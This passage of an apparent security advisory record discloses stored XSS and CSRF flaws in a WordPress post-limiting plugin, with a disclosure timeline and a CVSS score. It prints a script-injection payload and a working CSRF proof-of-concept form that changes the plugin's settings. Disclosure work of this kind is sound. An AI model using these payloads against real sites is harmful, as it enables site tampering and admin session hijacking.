Once exploited, admin\u0092s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc. \n# Vulnerability Class: \nhttps://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 \nCross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)) \n \nSteps to Reproduce: (POC): \nAfter installing the plugin \n \nStored XSS: \n1. Goto settings -> Limit Posts Options \n2. Enter this payload \u0096 \u0093 \"><script>alert(32)</script> \u0093 in any of the text columns. There is no minimum input validation. \n3. Save changes and see XSS in action \n4. Visit settings page of this plugin anytime later and you can see the script executing as it is stored. \n \nPlugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below \n \n<html> \n<body> \n<form action=\"http://localhost/wordpress/wp-admin/options-general.php?page=wp-limit-posts-automatically/wp-limit-posts-automatically.php\" method=\"POST\"> \n<input type=\"hidden\" name=\"lpa_post_wordcut\" value=\"Lettercut\" /> \n<input type=\"hidden\" name=\"lpa_post_letters\" value=\" csrf baby\" /> \n<input type=\"hidden\" name=\"lpa_post_ending\" value=\"hi\" /> \n<input type=\"hidden\" name=\"lpa_post_linktext\" value=\"hi\" /> \n<input type=\"hidden\" name=\"submitted\" value=\"yes\" /> \n<input type=\"hidden\" name=\"Submit\" value=\"Update Options \u00bb\" /> \n<input type=\"submit\" value=\"Submit request\" /> \n</form> \n</body> \n</html> \n \n \n# Mitigation: \nReported - Not yet fixed \n \n# Disclosure: \n2014-11-06: Author notification \n2014-11-20: WP Team action taken by closing the plugin as there is no response from author \n2014-12-09: Public Disclosure \n \n# Credits: \nManideep K \nInformation Security Researcher \nhttps://in.linkedin.com/in/manideepk \n`\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/129647/wplimitposts-xsrfxss.txt"}]}
